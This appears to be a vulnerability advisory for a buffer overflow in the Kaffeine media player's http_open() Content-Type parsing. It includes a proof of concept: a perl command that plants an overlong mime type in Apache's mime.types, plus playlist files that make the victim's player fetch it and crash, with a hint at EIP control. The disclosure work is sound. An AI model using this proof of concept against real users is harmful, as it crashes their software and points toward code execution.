Description: A buffer overflow vulnerability was reported in Kaffeine. A remote user can cause a target user's media player to crash.
KF of Secure Network Operations reported that a remote user can create a specially crafted RealAudio 'ram' playlist that, when loaded
by the target user, will trigger a buffer overflow within the Kaffeine player. The overflow resides in the processing of Content-Type
headers in the http_open() function in 'http.c'.
The file can cause the target user's player to crash. It may be possible to
execute arbitrary code, but that was not confirmed in the report.
The vendor has been notified without response.

Impact: A remote user can cause the target user's player to crash.

This can be triggered via any Real Audio Media - ram playlist file.
kaffeine-0.4.3b/kaffeine/playlist.cpp:
These are your file limitations.
PlayList::LoadRamPlaylist( const KURL& kurl, QListViewItem* after)
..
/* check for ram playlist */
if ( (ext == "ra") || (ext == "rm") || (ext == "ram") || (ext == "
lsc") || (ext == "pl") )
{
...
The overflow occurs here.
kaffeine-0.4.3b/kaffeine/http.c:
static http_t *http_open (const char *mrl) {
http_t *this;
...
if (sscanf(this->buf, "Content-Type: %s", mime_type) == 1) {
Sample exploitation.
To cause the exploit modify /etc/mimetypes for the .ram extension make it
AAAAAAAAAAAAAAAAAAAAA.... instead of audio/x-pn-realaudio
linux:/srv/www/htdocs # echo `perl -e 'print "A" x 316 . "ZZZZABCD"'` ram > /e
tc/mime.types ; /etc/init.d/apache2 restart
Syntax OK
Shutting down httpd2 (waiting for all children to terminate) done

[root@threat root]# KCrash: Application 'kaffeine' crashing...
create a file named exme.ram in your wwwroot
and create a file named test.pl with the contents:
http://host/exme.ram
Upon reading the test.pl file either via http or via double click kaffeine
will attempt to download the file exme.ram. It will check the mimetype
that the server is offering and procede to copy it into a small buffer.
This can also be exploited by directly viewing the .ram file.
exact eip hit looks like this

Continuing.
